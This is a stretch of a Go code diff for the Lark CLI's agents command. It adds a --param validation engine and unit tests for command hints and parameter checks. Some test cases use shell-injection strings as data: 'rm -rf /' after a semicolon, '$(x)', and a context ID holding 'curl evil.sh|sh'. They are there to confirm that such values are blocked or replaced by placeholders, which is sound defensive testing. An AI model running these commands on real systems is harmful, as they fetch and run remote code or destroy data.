// un-copy-pasteable at best and an injection surface at worst.
func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
if next := nextForTask(bad, task, nil, nil, iagents.VerbSend); len(next) != 0 {
t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
}
}
if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) == 0 {
t.Error("valid ref example:agent_x should keep next")
}
}
// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
// its degradation semantics: a legit task_id with an injection-shaped
// context_id (input_required branch interpolates both) keeps the hint but
// replaces the dirty id with the <context_id> placeholder — Template:true, no
// untrusted content interpolated.
func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
dirty := "conv_1; curl evil.sh|sh"
task := &iagents.AgentTask{
TaskID: "chat_1",
ContextID: dirty,
State: iagents.StateInputRequired,
}
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
if len(next) != 1 {
t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
}
if !next[0].Template {
t.Errorf("degraded hint must be template=true, got %+v", next[0])
}
if !strings.Contains(next[0].Command, "<context_id>") {
t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
}
if strings.Contains(next[0].Command, "conv_1") {
t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
}
}
// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
// agent-side task state (the end user must (re)authorize in the agent), NOT a
// text-continuation like input_required. Its next must point at the auth
// re-authorize flow (auth login --scope), never reuse the text-continuation
// send hint.
func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
task := &iagents.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateAuthRequired}
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
if len(next) != 1 {
t.Fatalf("auth_required should produce 1 next, got %+v", next)
}
// Must NOT be the input_required text-continuation hint.
if strings.Contains(next[0].Command, "agents send") || strings.Contains(next[0].Command, "--text") {
t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
}
// Must point at the auth (re-authorize) flow.
if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
}
// The concrete scopes come from the card, so the command carries a
// placeholder and must be marked template.
if !next[0].Template {
t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
}
}
// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
// default: task get has --watch, not --wait, and the poll hint must suggest a
// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
// forever on a long task nor self-hammers with unbounded polls.
func TestNextForTaskWatchNotWait(t *testing.T) {
next := nextForTask("example:agent_x", &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}, nil, nil, iagents.VerbSend)
if len(next) == 0 {
t.Fatal("working task must produce a poll next")
}
if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
t.Fatalf("poll next must use --watch: %+v", next)
}
wantTimeout := "--timeout " + defaultWatchTimeout.String()
if !strings.Contains(next[0].Command, wantTimeout) {
t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
}
}
// TestNextForTaskQuestionGroup pins that an input_required task carrying a
// question group yields ONE per-question --answer template (bare <option_id>
// for a choice, marked repeatable for multi-select, .text=<文本> for free text,
// design doc §4.4); a group with any whitelist-failing question_id falls back
// to the free-text continuation (a key the CLI's own guard would reject is
// never emitted).
func TestNextForTaskQuestionGroup(t *testing.T) {
group := nextForTask("example:planner", &iagents.AgentTask{
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{
Label: "报表生成确认",
Questions: []iagents.Question{
{QuestionID: "q1_a8", Question: "维度?", Options: []iagents.Option{{OptionID: "by_region", Label: "按大区"}}},
{QuestionID: "q2_a8", Question: "时间?"},
{QuestionID: "q3_a8", Question: "区域?", MultiSelect: true, Options: []iagents.Option{{OptionID: "east", Label: "华东"}}},
},
},
}, nil, nil, iagents.VerbSend)
if len(group) != 1 || !group[0].Template {
t.Fatalf("question-group next must be one template action, got %+v", group)
}
for _, want := range []string{
"--answer q1_a8=<option_id>",
"--answer q2_a8.text=<文本>",
"--answer q3_a8=<option_id 多选可重复>",
"--task-id task_1",
} {
if !strings.Contains(group[0].Command, want) {
t.Errorf("question-group command should contain %q, got %q", want, group[0].Command)
}
}
if !strings.Contains(group[0].Label, "转达给用户") {
t.Errorf("label must be relay-first wording, got %q", group[0].Label)
}
// A question_id with shell metacharacters must NOT be interpolated → the
// whole group falls back to the --text continuation.
badID := nextForTask("example:planner", &iagents.AgentTask{
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{
Questions: []iagents.Question{{QuestionID: "q bad;rm", Question: "x"}},
},
}, nil, nil, iagents.VerbSend)
if len(badID) != 1 || strings.Contains(badID[0].Command, "--answer") || !strings.Contains(badID[0].Command, "--text") {
t.Errorf("a whitelist-failing question_id should fall back to the --text form, got %+v", badID)
}
// A flag-lookalike question_id ("--text" passes a bare charset test but not
// the alphanumeric-first rule) must likewise never be interpolated.
flagLike := nextForTask("example:planner", &iagents.AgentTask{
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{
Questions: []iagents.Question{{QuestionID: "--text", Question: "x"}},
},
}, nil, nil, iagents.VerbSend)
if len(flagLike) != 1 || strings.Contains(flagLike[0].Command, "--answer") {
t.Errorf("a flag-lookalike question_id must fall back, got %+v", flagLike)
}
}
// TestNextForTaskTemplateFlag pins the template marker semantics: the
// input_required continue hint carries a <你的答复> placeholder, so it must be
// marked template=true (not directly executable); poll and terminal-detail
// hints are verbatim-executable and must not carry the marker.
func TestNextForTaskTemplateFlag(t *testing.T) {
// input_required with a known context: placeholder in --text → template.
cont := nextForTask("example:agent_x", &iagents.AgentTask{
TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateInputRequired,
}, nil, nil, iagents.VerbSend)
if len(cont) != 1 || !cont[0].Template {
t.Fatalf("input_required next must be template=true, got %+v", cont)
}
// input_required without a context id: <context_id> placeholder → template.
contNoCtx := nextForTask("example:agent_x", &iagents.AgentTask{
TaskID: "chat_1", State: iagents.StateInputRequired,
}, nil, nil, iagents.VerbSend)
if len(contNoCtx) != 1 || !contNoCtx[0].Template {
t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
}
// Poll and terminal-detail hints are directly executable → no template flag.
for _, task := range []*iagents.AgentTask{
{TaskID: "chat_1", State: iagents.StateWorking},
{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true},
} {
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
if len(next) != 1 || next[0].Template {
t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
}
}
}

505
cmd/agents/params.go Normal file
View File

@@ -0,0 +1,505 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// This file is the per-verb business-parameter engine: --param k=v parsing,
// collect-all validation against one operation's declared set (every violation
// reported in one pass, each self-contained enough to fix without a discovery
// round-trip), default backfill, and the meta.next carry rule.
package agents
import (
"encoding/json"
"errors"
"fmt"
"sort"
"strconv"
"strings"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
)
// flatParams expands declarations to value-bearing leaves: scalars keep their
// name, an object contributes one leaf per Field under "obj.field" dotted
// names (leaf attributes rule). The object entry itself is NOT value-bearing
// and is excluded. Order is declaration order (meta.next determinism).
func flatParams(declared []iagents.CardParam) []iagents.CardParam {
out := make([]iagents.CardParam, 0, len(declared))
for _, cp := range declared {
if cp.Type == "object" {
for _, f := range cp.Fields {
leaf := f
leaf.Name = cp.Name + "." + f.Name
out = append(out, leaf)
}
continue
}
out = append(out, cp)
}
return out
}
// objectDecls indexes the top-level object params by name.
func objectDecls(declared []iagents.CardParam) map[string]iagents.CardParam {
out := map[string]iagents.CardParam{}
for _, cp := range declared {
if cp.Type == "object" {
out[cp.Name] = cp
}
}
return out
}
// validatedParams is the engine's product: Resolved is what the runtime hands
// to the provider hook (defaults backfilled); Given is only what the caller
// explicitly provided (no defaults) — the meta.next carry rule reads Given so
// backfilled defaults never turn into command-line noise.
type validatedParams struct {
Resolved map[string]string
Given map[string]string
}
// addParamFlag registers the shared --param flag on a leaf (two-line helper,
// same style as addAsFlag).
func addParamFlag(cmd *cobra.Command, params *[]string) {
cmd.Flags().StringArrayVar(params, "param", nil, "业务参数 key=value可重复各命令所需参数见 lark-cli agents card <agent_ref> --operation <verb>")
}
// validateParams parses --param pairs and validates them against ONE
// operation's declared parameter set, collecting ALL violations into a single
// typed invalid_argument error (exit 2). spec is used for the cross-operation
// reverse lookup on unknown keys ("它声明在: send") and may be nil (agents list
// path). Passing validation backfills declaration defaults into Resolved.
func validateParams(kvs []string, declared []iagents.CardParam, verb string, spec *iagents.AgentSpec, ref string) (validatedParams, error) {
// decl indexes the value-bearing leaves: scalars by name, object fields by
// dotted "obj.field" names — the canonical flat form every downstream
// consumer (Resolved, meta.next, rt.Params()) speaks.
leaves := flatParams(declared)
decl := make(map[string]iagents.CardParam, len(leaves))
for _, p := range leaves {
decl[p.Name] = p
}
objects := objectDecls(declared)
// seen 记录“这个 key 在 argv 里出现过”(重复检测 + 抑制误报的 missing-
// required 都看它given 只收录通过校验的值Resolved/meta.next 都看它)。
// 两张表必须分开:值校验失败的 key 若不进 seen重复提供会漏报、缺必填会误报
// (参数明明给了、只是值不对,再报一条“缺少必填”是自相矛盾的指令)。
// objChannel 记录每个对象走的通道dotted|json同一对象混用两通道报错
// 不做静默合并。
seen := map[string]bool{}
given := map[string]string{}
objChannel := map[string]string{}
var viols []errs.InvalidParam
addViol := func(name, reason string, spec *iagents.CardParam, suggestions ...string) {
v := errs.InvalidParam{Name: name, Reason: reason, Suggestions: suggestions}
if spec != nil {
v.Spec = *spec
}
viols = append(viols, v)
}
// ── parse + per-key checks一次收集全部──
for _, kv := range kvs {
k, val, ok := strings.Cut(kv, "=")
if !ok || k == "" {
addViol(kv, fmt.Sprintf("--param 格式应为 key=value得到 %q", kv), nil)
continue
}
if seen[k] {
addViol(k, fmt.Sprintf("参数 %s 重复提供(该参数不可重复)", k), nil)
continue
}
seen[k] = true
// ── 对象的 JSON 整值通道key 恰是对象名 ──
if obj, isObj := objects[k]; isObj {
if objChannel[k] == "dotted" {
addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供(同一对象只能选一种通道)", k), nil)
continue
}
objChannel[k] = "json"
validateObjectJSON(k, val, obj, verb, seen, given, addViol)
continue
}
// ── 点路径通道key 带 ".",指向对象的某个叶子 ──
if top, leaf, dotted := strings.Cut(k, "."); dotted {
obj, isObj := objects[top]
if !isObj {
reason, sugg := unknownParamReason(k, verb, leaves, spec)
addViol(k, reason, nil, sugg...)
continue
}
if objChannel[top] == "json" {
addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供(同一对象只能选一种通道)", top), nil)
continue
}
objChannel[top] = "dotted"
cp, known := decl[k]
if !known {
addViol(k, fmt.Sprintf("未知参数 %s%s 可用字段: %s", k, top, fieldNames(obj)), nil, dottedFieldNames(obj)...)
continue
}
_ = leaf
if val == "" {
if cp.Required {
addViol(k, fmt.Sprintf("必填参数 %s 不能为空值(%s 必填)", k, verb), &cp)
}
continue
}
if err := iagents.ValidateValue(cp, val); err != nil {
addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
continue
}
given[k] = canonicalValue(cp, val)
continue
}
cp, known := decl[k]
if !known {
reason, sugg := unknownParamReason(k, verb, leaves, spec)
addViol(k, reason, nil, sugg...)
continue
}
if val == "" {
// `k=` 空值统一按“未提供”处理(不进 given ⇒ 不遮蔽 Default 回填、
// 不把未过 Type/Enum/Range 校验的 "" 交给 hook——rt.Params() 契约)。
// 必填参数额外报专属违规;可选参数省略即得默认值,无需报错。
if cp.Required {
addViol(k, fmt.Sprintf("必填参数 %s 不能为空值(%s 必填)", k, verb), &cp)
}
continue
}
if err := iagents.ValidateValue(cp, val); err != nil {
addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
continue
}
given[k] = canonicalValue(cp, val)
}
// ── missing required对着平铺声明反查argv 里出现过的 key 不再重复报——
// 它要么已通过、要么已带着更精确的违规)──
for _, cp := range leaves {
if !cp.Required || seen[cp.Name] {
continue
}
c := cp
addViol(cp.Name, fmt.Sprintf("缺少必填参数 %s%s 必填)", cp.Name, verb), &c)
}
if len(viols) > 0 {
return validatedParams{}, paramsError(viols, verb, ref)
}
// ── default 回填(只作用于完全缺席的键)──
resolved := make(map[string]string, len(given))
for k, v := range given {
resolved[k] = v
}
for _, cp := range leaves {
if cp.Default == "" {
continue
}
if _, ok := resolved[cp.Name]; !ok {
resolved[cp.Name] = cp.Default
}
}
return validatedParams{Resolved: resolved, Given: given}, nil
}
// validateObjectJSON is the JSON fallback channel: parse the value as a JSON
// object, validate each member against the declared Fields with the SAME leaf
// rules as the dotted channel, and normalize accepted members into flat dotted
// keys — a provider never sees which channel the caller used. Numbers decode
// via json.Number so "100" stays "100" (no float re-rendering).
func validateObjectJSON(name, val string, obj iagents.CardParam, verb string, seen map[string]bool, given map[string]string, addViol func(string, string, *iagents.CardParam, ...string)) {
if val == "" {
return // `obj=` 空值 = 未提供(与标量语义一致)
}
dec := json.NewDecoder(strings.NewReader(val))
dec.UseNumber()
var anyVal any
if err := dec.Decode(&anyVal); err != nil {
addViol(name, fmt.Sprintf("参数 %s 的 JSON 无法解析(%v也可用点路径逐字段传--param %s.<field>=<value>", name, err, name), nil)
return
}
raw, isObj := anyVal.(map[string]any)
if !isObj {
// 语法合法但不是对象(数组/字符串/数字/布尔/null——用调用方词汇描述
// 不泄漏 Go 反序列化的内部类型文案。
addViol(name, fmt.Sprintf(`参数 %s 需为 JSON 对象(如 {"k":"v"}),得到 %s也可用点路径逐字段传--param %s.<field>=<value>`, name, jsonKindName(anyVal), name), nil)
return
}
fields := map[string]iagents.CardParam{}
for _, f := range obj.Fields {
fields[f.Name] = f
}
for fk, fv := range raw {
full := name + "." + fk
seen[full] = true
cp, ok := fields[fk]
if !ok {
addViol(full, fmt.Sprintf("未知参数 %s%s 可用字段: %s", full, name, fieldNames(obj)), nil, obj.FieldNamesList()...)
continue
}
var sval string
switch tv := fv.(type) {
case string:
sval = tv
case json.Number:
sval = tv.String()
case bool:
sval = strconv.FormatBool(tv)
case nil:
continue // null = 未提供
default:
addViol(full, fmt.Sprintf("参数 %s 不支持嵌套结构(对象字段只能是标量)", full), &cp)
continue
}
if sval == "" {
if cp.Required {
c := cp
c.Name = fk
addViol(full, fmt.Sprintf("必填参数 %s 不能为空值(%s 必填)", full, verb), &c)
}
continue
}
if err := iagents.ValidateValue(cp, sval); err != nil {
c := cp
addViol(full, fmt.Sprintf("参数 %s %s", full, err.Error()), &c, cp.Enum...)
continue
}
given[full] = canonicalValue(cp, sval)
}
}
// fieldNames renders an object's field list for teaching errors.
func fieldNames(obj iagents.CardParam) string {
return strings.Join(obj.FieldNamesList(), ", ")
}
// unknownParamReason builds the teaching sentence for an undeclared key: if
// another operation of the same spec declares it, name those operations改动
// 词就能修otherwise list this operation's own parameter set改拼写就能修.
func unknownParamReason(key, verb string, declared []iagents.CardParam, spec *iagents.AgentSpec) (string, []string) {
if spec != nil {
var elsewhere []string
for _, o := range spec.Ops() {
if o.Verb == verb || !o.Wired {
continue
}
for _, p := range flatParams(o.Params) {
if p.Name == key {
elsewhere = append(elsewhere, o.Verb)
break
}
}
}
if len(elsewhere) > 0 {
sort.Strings(elsewhere)
// suggestions 保持单一语义(可直接替换的参数名候选):动词名不是参数,
// 不进 suggestions——「声明在: X」的教学已在 reason 里。
return fmt.Sprintf("参数 %s 不适用于 %s它声明在: %s", key, verb, strings.Join(elsewhere, ", ")), nil
}
}
known := make([]string, 0, len(declared))
for _, p := range declared {
known = append(known, p.Name)
}
if len(known) == 0 {
return fmt.Sprintf("未知参数 %s%s 不接受任何业务参数)", key, verb), nil
}
// suggestions 按编辑距离给「可直接替换」的近似候选typo 一步可修);
// 没有近似命中时退回声明序全集。message 始终列全集(发现面完整)。
sugg := nearestNames(key, known, 2)
if len(sugg) == 0 {
sugg = known
}
return fmt.Sprintf("未知参数 %s%s 可用参数: %s", key, verb, strings.Join(known, ", ")), sugg
}
// nearestNames returns the candidates within maxDist Levenshtein distance of
// key, nearest first (stable for ties by candidate order).
func nearestNames(key string, candidates []string, maxDist int) []string {
type scored struct {
name string
d int
}
var hits []scored
for _, c := range candidates {
if d := levenshtein(key, c); d <= maxDist {
hits = append(hits, scored{c, d})
}
}
sort.SliceStable(hits, func(i, j int) bool { return hits[i].d < hits[j].d })
out := make([]string, 0, len(hits))
for _, h := range hits {
out = append(out, h.name)
}
return out
}
// levenshtein is the classic two-row edit distance over runes.
func levenshtein(a, b string) int {
ra, rb := []rune(a), []rune(b)
prev := make([]int, len(rb)+1)
cur := make([]int, len(rb)+1)
for j := range prev {
prev[j] = j
}
for i := 1; i <= len(ra); i++ {
cur[0] = i
for j := 1; j <= len(rb); j++ {
cost := 1
if ra[i-1] == rb[j-1] {
cost = 0
}
cur[j] = min(min(cur[j-1]+1, prev[j]+1), prev[j-1]+cost)
}
prev, cur = cur, prev
}
return prev[len(rb)]
}
func min(a, b int) int {
if a < b {
return a
}
return b
}
// jsonKindName names a decoded JSON value's kind in caller vocabulary.
func jsonKindName(v any) string {
switch v.(type) {
case []any:
return "数组"
case string:
return "字符串"
case json.Number:
return "数字"
case bool:
return "布尔值"
case nil:
return "null"
default:
return "非对象值"
}
}
// canonicalValue normalizes an ACCEPTED scalar to its canonical wire form so a
// provider receives one deterministic literal regardless of the input variant
// or channel: boolean TRUE/1/t → true|false, integer +5/04 → 5/4. The JSON
// channel already produces canonical literals for native types; this closes
// the dotted-path (and JSON string-member) variants to the same form. Values
// that reach here have passed ValidateValue, so parse errors are impossible;
// the input is returned unchanged as a defensive fallback.
func canonicalValue(cp iagents.CardParam, val string) string {
switch cp.Type {
case "boolean":
if b, err := strconv.ParseBool(val); err == nil {
return strconv.FormatBool(b)
}
case "integer":
if n, err := strconv.ParseInt(val, 10, 64); err == nil {
return strconv.FormatInt(n, 10)
}
case "number":
if f, err := strconv.ParseFloat(val, 64); err == nil {
return strconv.FormatFloat(f, 'g', -1, 64)
}
}
return val
}
// dottedFieldNames returns an object's field names in their full dotted form
// (directly substitutable --param keys).
func dottedFieldNames(obj iagents.CardParam) []string {
out := make([]string, 0, len(obj.Fields))
for _, f := range obj.Fields {
out = append(out, obj.Name+"."+f.Name)
}
return out
}
// paramsError folds collected violations into one typed error: a single
// violation keeps its sentence as the message (continuity with the old
// one-error style); several get a count summary, with every violation carried
// structurally in params[].
func paramsError(viols []errs.InvalidParam, verb, ref string) error {
msg := viols[0].Reason
if len(viols) > 1 {
msg = fmt.Sprintf("%s 参数校验失败:%d 处问题(详见 params", verb, len(viols))
}
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", msg).
WithParam("param:" + viols[0].Name).
WithParams(viols...)
return e.WithHint("%s", opHint(ref, verb))
}
// validateListParams is the `agents list <scheme>` variant of validateParams:
// list is a provider-level operation with no agent_ref yet, so there is no
// spec for cross-operation reverse lookup, and the discovery hint points at
// the provider listing's list_parameters instead of an agent card.
func validateListParams(kvs []string, declared []iagents.CardParam, scheme string) (validatedParams, error) {
vp, err := validateParams(kvs, declared, "list", nil, "")
if err != nil {
var verr *errs.ValidationError
if errors.As(err, &verr) {
verr.Hint = fmt.Sprintf("按 params 逐条修正后重发agents list %s 的可用参数见 lark-cli agents list 输出的 providers[].list_parameters", scheme)
}
return validatedParams{}, err
}
return vp, nil
}
// opHint is the operation-scoped discovery hintref 过白名单才内插命令).
func opHint(ref, verb string) string {
if safeNextRef(ref) {
return fmt.Sprintf("按 params 逐条修正后重发;或运行 lark-cli agents card %s --operation %s 查看参数声明", ref, verb)
}
return "按 params 逐条修正后重发;或用 agents card 的 --operation 子查询查看参数声明"
}
// paramArgsFor renders the meta.next carry for target verb V per the
// three-way rule, in declaration order:
// 1. given + value passes the whitelist → carry literally;
// 2. given + value fails the whitelist → required degrades to a placeholder
// (template), optional is dropped宁缺毋歧义;
// 3. absent but required on V → placeholder (template) — the cross-verb hole:
// without this, "链上不丢必填" only holds when the previous verb happened
// to share the parameter.
//
// Defaults are NOT carried (the next hop deterministically re-backfills).
func paramArgsFor(spec *iagents.AgentSpec, verb string, given map[string]string) (args string, templated bool) {
if spec == nil {
return "", false
}
op, ok := spec.Op(verb)
if !ok {
return "", false
}
var b strings.Builder
for _, p := range flatParams(op.Params) {
v, has := given[p.Name]
switch {
case p.NoCarry:
// 每次调用应给新值的参数:给过也不字面上链;必填的降级占位,提醒
// 调用方填一个新值(而不是复用上一次的)。
if p.Required {
fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
templated = true
}
case has && v != "" && safeNextID(v):
fmt.Fprintf(&b, " --param %s=%s", p.Name, v)
case p.Required:
fmt.Fprintf(&b, " --param %s=<%s>", p.Name, p.Name)
templated = true
}
}
return b.String(), templated
}

658
cmd/agents/params_test.go Normal file
View File

@@ -0,0 +1,658 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"errors"
"strings"
"testing"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
)
// paramSpec builds a spec with a send declaration (required ws + enum/default
// priority + ranged integer) and a task_list declaration sharing ws — the
// cross-operation reverse-lookup and three-way-carry test bed.
func paramSpec() *iagents.AgentSpec {
ws := iagents.CardParam{Name: "workspace_id", Type: "string", Required: true, Desc: "目标工作区"}
return &iagents.AgentSpec{
Send: iagents.SendOp{
Params: []iagents.CardParam{
ws,
{Name: "priority", Type: "string", Enum: []string{"low", "normal", "high"}, Default: "normal"},
{Name: "max_results", Type: "integer", Min: iagents.Float(1), Max: iagents.Float(100), Default: "20"},
},
Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
},
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
ListTasks: iagents.TaskListOp{
Params: []iagents.CardParam{ws},
Handler: func(context.Context, iagents.Runtime, string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
return nil, iagents.PageInfo{}, nil
},
},
}
}
// TestValidateParams_CollectAll pins the batch contract: every violation in ONE
// error — two missing requireds are impossible on one decl set, so mix missing
// required + unknown key + enum violation and assert all three violations
// surface with self-contained specs.
func TestValidateParams_CollectAll(t *testing.T) {
spec := paramSpec()
_, err := validateParams(
[]string{"priority=urgent", "bogus=1"},
spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil {
t.Fatal("should fail with collected violations")
}
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatalf("want *errs.ValidationError, got %T", err)
}
if len(verr.Params) != 3 {
t.Fatalf("want 3 violations (enum + unknown + missing required), got %d: %+v", len(verr.Params), verr.Params)
}
byName := map[string]errs.InvalidParam{}
for _, v := range verr.Params {
byName[v.Name] = v
}
// enum violation lists the full set and embeds the spec
if v := byName["priority"]; !strings.Contains(v.Reason, "low|normal|high") || v.Spec == nil {
t.Errorf("priority violation should list the enum set and embed spec, got %+v", v)
}
// unknown key lists this operation's available params
if v := byName["bogus"]; !strings.Contains(v.Reason, "workspace_id") {
t.Errorf("unknown-key violation should list available params, got %+v", v)
}
// missing required embeds the full declaration so the caller can fix without
// a discovery round-trip
v := byName["workspace_id"]
if !strings.Contains(v.Reason, "缺少必填参数") || v.Spec == nil {
t.Fatalf("missing-required violation should embed spec, got %+v", v)
}
if sp, ok := v.Spec.(iagents.CardParam); !ok || sp.Desc != "目标工作区" {
t.Errorf("embedded spec should be the full CardParam, got %+v", v.Spec)
}
// multi-violation message is a count summary; hint points at --operation
if !strings.Contains(verr.Message, "3 处问题") {
t.Errorf("multi-violation message should carry the count, got %q", verr.Message)
}
if !strings.Contains(verr.Hint, "--operation send") {
t.Errorf("hint should point at card --operation send, got %q", verr.Hint)
}
}
// TestValidateParams_CrossOpReverseLookup pins the "它声明在" teaching error: a
// param declared on send but passed to task_get names where it lives.
func TestValidateParams_CrossOpReverseLookup(t *testing.T) {
spec := paramSpec()
_, err := validateParams([]string{"priority=high"}, spec.GetTask.Params, iagents.VerbTaskGet, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error(), "不适用于 task_get") || !strings.Contains(err.Error(), "它声明在: send") {
t.Fatalf("cross-op teaching error expected, got %v", err)
}
}
// TestValidateParams_RulesTable covers the remaining violation kinds one by one.
func TestValidateParams_RulesTable(t *testing.T) {
spec := paramSpec()
base := []string{"workspace_id=ws_42"}
cases := []struct {
name string
kvs []string
want string
}{
{"duplicate", append(base, "workspace_id=ws_43"), "重复提供"},
{"empty required", []string{"workspace_id="}, "不能为空值"},
{"malformed", append(base, "noequals"), "key=value"},
{"type mismatch", append(base, "max_results=abc"), "integer"},
{"range violation", append(base, "max_results=500"), "1..100"},
{"zero-param op given a param", nil, ""},
}
for _, tc := range cases[:5] {
t.Run(tc.name, func(t *testing.T) {
_, err := validateParams(tc.kvs, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+errHint(err), tc.want) {
t.Fatalf("want %q in error, got %v", tc.want, err)
}
})
}
// value containing '=' splits on the first '=' only
vp, err := validateParams(append(base, "priority=high"), spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil || vp.Given["workspace_id"] != "ws_42" {
t.Fatalf("valid set should pass: %v %v", vp, err)
}
}
// TestValidateParams_EmptyOptionalTreatedAsAbsent pins the review fix (blocker):
// `k=` on an OPTIONAL param counts as not provided — no violation, no entry in
// Given, and the declared Default still backfills Resolved, so no unvalidated
// "" can ever reach a hook (the rt.Params() contract).
func TestValidateParams_EmptyOptionalTreatedAsAbsent(t *testing.T) {
spec := paramSpec()
vp, err := validateParams([]string{"workspace_id=ws_42", "max_results="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("empty optional should not violate: %v", err)
}
if got := vp.Resolved["max_results"]; got != "20" {
t.Errorf("empty optional must not shadow the default (backfill still applies), got %q", got)
}
if _, ok := vp.Given["max_results"]; ok {
t.Errorf("empty optional must not enter Given, got %v", vp.Given)
}
// empty on a declared optional with default: default wins in Resolved
vp2, err := validateParams([]string{"workspace_id=ws_42", "priority="}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("empty optional should not violate: %v", err)
}
if vp2.Resolved["priority"] != "normal" {
t.Errorf("empty optional must not shadow the default, got %q", vp2.Resolved["priority"])
}
// duplicate detection still sees the empty occurrence
_, err = validateParams([]string{"workspace_id=ws_42", "priority=", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+errHint(err), "重复提供") {
t.Fatalf("duplicate after empty occurrence must be reported, got %v", err)
}
}
// TestValidateParams_NoFalseMissingOnInvalidValue pins the review fix: a
// required param given an INVALID value reports exactly the value violation —
// never an additional contradictory "缺少必填参数"; and a duplicate after an
// invalid first value is reported as duplicate, not as the same violation twice.
func TestValidateParams_NoFalseMissingOnInvalidValue(t *testing.T) {
spec := paramSpec()
// make workspace_id enum-constrained for this test via a local declaration
decl := []iagents.CardParam{{Name: "mode", Type: "string", Required: true, Enum: []string{"a", "b"}}}
_, err := validateParams([]string{"mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatalf("want validation error, got %T", err)
}
if len(verr.Params) != 1 {
t.Fatalf("invalid value must yield exactly 1 violation (no false missing-required), got %d: %+v", len(verr.Params), verr.Params)
}
if !strings.Contains(verr.Params[0].Reason, "a|b") {
t.Errorf("the one violation should be the enum violation, got %+v", verr.Params[0])
}
// duplicate after invalid first value → enum violation + duplicate violation
_, err = validateParams([]string{"mode=zzz", "mode=zzz"}, decl, iagents.VerbSend, spec, "acme:reporter")
if !errors.As(err, &verr) {
t.Fatalf("want validation error, got %T", err)
}
if len(verr.Params) != 2 {
t.Fatalf("want enum violation + duplicate violation, got %d: %+v", len(verr.Params), verr.Params)
}
kinds := verr.Params[0].Reason + verr.Params[1].Reason
if !strings.Contains(kinds, "a|b") || !strings.Contains(kinds, "重复提供") {
t.Errorf("want one enum + one duplicate violation, got %+v", verr.Params)
}
}
// objSpec is the object-param test bed: send declares a filter object
// (required enum leaf + optional ranged leaf + defaulted bool leaf) and a
// NoCarry trace param shared with task_get.
func objSpec() *iagents.AgentSpec {
trace := iagents.CardParam{Name: "trace_tag", NoCarry: true, Required: true, Desc: "调用链标记(每次新值)"}
return &iagents.AgentSpec{
Send: iagents.SendOp{
Params: []iagents.CardParam{
trace,
{Name: "filter", Type: "object", Desc: "过滤条件", Fields: []iagents.CardParam{
{Name: "region", Enum: []string{"east", "west"}, Required: true},
{Name: "min_amount", Type: "number", Min: iagents.Float(0)},
{Name: "active", Type: "boolean", Default: "true"},
}},
},
